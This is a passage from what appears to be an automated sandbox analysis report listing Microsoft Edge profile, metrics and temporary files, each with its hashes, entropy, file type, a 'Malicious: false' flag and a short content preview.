Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-662821CF-1DB0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.032613891669684064
Encrypted:	false
SSDEEP:	192:RU701utmqvDDKX79YJvyqlBqfr3nXgXXQOD5Dhy6NE7I1deRQMtTY:S0EtzSQthBiwGxY
MD5:	6841D100F2D926F934DB668AF068CC85
SHA1:	3CEF5344666C50DEBE74224FD0801C13B8ABCA85
SHA-256:	71F4B1ADDD7E812445C93306B5004DE6437FE266E0C9658D1DA2F544F2494FEF
SHA-512:	146BDB18E132EFA3FA6F0693B6877B31344E3A037FB1B0BAF793E62F9A63D1C35DBC9AF1757FB2DDF34FAA977B8C5D0DB0648A296AA7A26D21AAAF24C6EE01C9
Malicious:	false
Preview:	...@..@...@.....C.].....@................P..8P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".xyixso20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U;.k..>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-662821EA-1908.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0403997094169119
Encrypted:	false
SSDEEP:	192:U50EbtmqvDMKXGJLMo40QqpIg7XLIL0BKdjhaLNxstG1gQs3Blgn8y08Tcm2RGOD:W0EtA4vslu7hcUCgzB208T2RGOD
MD5:	E1D07E2E194F7C480F362842B36A0FBD
SHA1:	3BF91EE65A24D21D6034A755129EF3320CE7E542
SHA-256:	77092D6169C93323EB6D60E927D48A4909F60A1A8B63457E5DF7BDADDD45715D
SHA-512:	19172964A7B161801E7013E9CA15B52B11FDC80501EF8C7580DA7CCE1203956D17968BF40890C3879DE038EF8D28FBAA9314D34B0C1CE068F1AB99FEA828D99A
Malicious:	false
Preview:	...@..@...@.....C.].....@...............pa..(Q..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".xyixso20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-662821F2-2614.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0398513726027909
Encrypted:	false
SSDEEP:	192:1E0EbtmqvD3KX7lJEa3Xxx7uqZGXPtg34khtbNEk8dnI1gQMuooyqkn8y08Tcm2D:y0Etce18xphlXWggiov08T2RGOD
MD5:	BA96C6AE21335DB6DA0EAEECEED12871
SHA1:	C15C7BF79E758DD2ED0F6744F9176DAC2D98B68D
SHA-256:	B8728412F3DE7E96FF9858306EFCB427DFE61E63E5810CDD88862C4F8C02D39F
SHA-512:	72141E0A32C4822CECB64375850BF568361634B37A9C896F2BD19D94FB6D20AD1B4AF52E0F152D7A74DA567534DC4AE04AE177F07D74209D5429EA1C91A59004
Malicious:	false
Preview:	...@..@...@.....C.].....@................`...O..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".xyixso20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.053837919135487
Encrypted:	false
SSDEEP:	3:FiWWltl/9UgBVP/Sh/JzvLi2RRIxINXj1Qllt:o1//BVsJDG2Yqc/
MD5:	2DE758B44E33AEAF19BAF23B60AA10AD
SHA1:	CC987BEF7CAFDF20BC38906BA55767454B029A6A
SHA-256:	6E8D74D84A400AD5C68229CF1458EA52EE75018E74070152DA8A189853FBF2C6
SHA-512:	6BFC85466FC55782132F38EB3F851FA80434494A2A1607862607065608CE11C2CFA2533C218165F869BC41B5790C6E58F8A8FBCFBFCF59623C3B90436AFD37D0
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\00c90de8-88af-422d-ae02-e6ebd102ce0a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\097fdca7-1191-436a-b8f7-6bd14d31d610.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cd88563-5b52-4123-99dd-2461a7c4ca5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\21f79397-4ad8-4701-b38d-8ebd37a723ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26540
Entropy (8bit):	5.556524448103406
Encrypted:	false
SSDEEP:	768:gTgI8mWPMufAb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLKTCsYrwXpJtut:gTgI8mWPMufAbu1jasqCsJrtW
MD5:	8B80F3E3F42A13CF32B073CD3B0EA720
SHA1:	4ECD3413E5BA7BA97398819CAFCC9DBE175F57E6
SHA-256:	9EF811AC2B8DFACAE76139CDBD824648C8CC2F244939EEF3D7428DF8CA9F4021
SHA-512:	8557DEB84B39785AEB0EF9B1D8C5EB33E973A097D133D74C6FD0B58BF24F00E82ED2CAF86ACFBA917C364C4BC6B97B71FCE62EECDA3915BED37458C5BCFA8315
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13358379729863100","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13358379729863100","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3e9c75e7-e58c-4a78-a43f-0ecb34d11b67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17792), with no line terminators
Category:	dropped
Size (bytes):	17794
Entropy (8bit):	5.450350155911926
Encrypted:	false
SSDEEP:	192:sVxJ9pQTryZigaba4uyp2JCHsefgahBREYeoeBiYzK+RTwCQB5fZ8Ipj+FsBQwZV:sVxLA3u42J0s7uAmGTwCcDpUqQw9Z
MD5:	2CA5239EB753E8FD92496E6DBA3300B2
SHA1:	33570923F4EF447A868740E51371F2CAEE35F308
SHA-256:	243C721FF00F7ADE26834A536E5A0EB4F0CE6CA309908463D5AEB0C581F8EB77
SHA-512:	CA773C8A5E5B5DE3141152E98450D8D631E2DFB74AEB2D3003A9750E4963444232666652848D846E14C78A6BE7D1FB3FD0A6E0FB84018D80635109127B57B803
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\416c4337-c1e2-4d88-96a5-4463b1912f7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37797
Entropy (8bit):	5.554566547542743
Encrypted:	false
SSDEEP:	768:gmqISmWPMufVb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVeHhKTj93Yrwpn8DdKpJtuC:gmqISmWPMufVbu1ja7Hhqx3JpnWQtx
MD5:	908E9E900FCB2CDFF00093EA8EC0B449
SHA1:	A4B58474BFA56877688D826FD980906FA6DED98A
SHA-256:	A7F5946865AD47343F2F6534DA73886D38BB1883FC44C1EFE77D8927A01F6CB2
SHA-512:	6AF06EC856627A90200CE5203060B79C611D771116B0AA67AFD26C6FC0CE0A40FAE80D3B105323BC2E78794F944CDE18E0CA391133EE209531441796B32783A8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13358379729863100","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13358379729863100","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e6c4d37-7ca2-4531-8ca2-a8563be0b4c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17901), with no line terminators
Category:	dropped
Size (bytes):	17903
Entropy (8bit):	5.448154643846312
Encrypted:	false
SSDEEP:	192:sVxJ9pQTryZigaba4uyp2JCHsefgahBREYeoeBiYzK+RTwCQB5fZ8Ipj+FsBQwZ4:sVxLA3u42J0s7uAmGTwCcDpUqQwCZ
MD5:	A4325293B58C14DFEC3973323E14475C
SHA1:	F4515FB6476E1E67ACA07E8D08C27839CAAB91FE
SHA-256:	7BFAD132240AE64A56D6E0BFAD1EDCB82D8061BDAF8EADB3063B856F8DD2CB0B
SHA-512:	198B877F223FE0F3DC70BD2FEFC2348AE6CF60041D383674BB4958FCD53AF0EED994618DBBD1EAB9061B0FB6E507EE6D44D31571AB9A7BDC70A604AE91CD949F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\78240d07-9199-428b-9e25-9d13cdda077e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41151
Entropy (8bit):	5.55186787873336
Encrypted:	false
SSDEEP:	768:gmqIOl7pLGLdQmWPMufVb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVeHhKTj93YrwpnH:gmqIOzcdQmWPMufVbu1ja7Hhqx3JpnL7
MD5:	F20BAED8ED67FF7D7B9C35950B2BF37D
SHA1:	6644ACEAF84F0992E21AA8F5CFF86BD21FFA5B85
SHA-256:	88D153505DB681C611E55E725C85F6FDDBDE8D76E586CEF5E2DD6B0BF11C798D
SHA-512:	B0F3BC61213AE0F3B777F1D9ACE85FEDBA90A169841E84D1E9DBE10200F75E076605C355A86CC61B683196AB30ABF05A50F9FFEC9BC8E4ADB473373EF3BC1172
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13358379729863100","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13358379729863100","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7d58b8e6-5bc5-429f-98ab-27355ecc933d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17864), with no line terminators
Category:	dropped
Size (bytes):	17866
Entropy (8bit):	5.448983720429064
Encrypted:	false
SSDEEP:	192:sVxJ9pQTryZigaba4uyp2JCHsefgahBREYeoeBiYzK+RTwCQB5fZ8Ipj+FsBQwZ3:sVxLA3u42J0s7uAmGTwCcDpUqQwHZ
MD5:	84805948E09326AD738E1A3F9E84655A
SHA1:	8AB2516D82362097BA1559A5DA9DE5386803A058
SHA-256:	40C8E429FD185CC3D31A293E799ABB5F22F624F6F78CD3C6F043BD3FFE56F42B
SHA-512:	47CDC0D63EDEA519C8EBC4BFC84FC9EF5D0BACE901C5EFBCA24441ADAE9F2B4E25883A086285CB53E5CF4329BA3E547CFF62CBB1B1743ADA374A986163F599F7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8110ccec-f0a1-4f85-95f8-9cae8e8d2b32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17945), with no line terminators
Category:	dropped
Size (bytes):	17947
Entropy (8bit):	5.446640561534337
Encrypted:	false
SSDEEP:	192:sVxJ9pQTryZigaba4uyp2JYHsefgahBREYeoeBiYzK+RTwCQB5fZ8Ipj+FsBQwZ4:sVxLA3u42J2s7uAmGTwCcDpUqQwCZ
MD5:	1191CAFE6D300CA67AEB2A9983F7C455
SHA1:	C1B22252DC1F5B10356BA8ECA1900067A329A0F0
SHA-256:	1239987BE4662D4D39EF3A63FFE3884A961AA6EB63F7A1C495D9BB14B9FC0B74
SHA-512:	5945D43872DE28036C059CFC47793107D2B1D9AF556ABE9C570455E6D185D10362EB8B024192B7974BD9C0701FCAE6AF616F33CEEE570EF3E2CA00843E9E7C67
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8b412ceb-47bc-4674-bd80-5df649b7e404.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696088
Entropy (8bit):	5.041501243713994
Encrypted:	false
SSDEEP:	24576:zVf7cghkN/vhtyQwm66Ao3ENUsifY+KEbl2T:zVfKSjmi5
MD5:	3BD457B6EAC2ED8FC9F563EDC9C828B9
SHA1:	0F1010FFBFC1E5BC6E300BE708B670603DDEE7AD
SHA-256:	1F6D28A1851B37B9754FD675A327EB35DC7A144BE329F6DB690F2B3AF80EE8B7
SHA-512:	D822C400C83CBB45A35F5D8ADC85FF77B4911B0365D0A1053EFFA42E746B3541C0D6828DBDB2BD528A5F029603F601F4B6EB7CD34A272BADFD0F8EC555091835
Malicious:	false
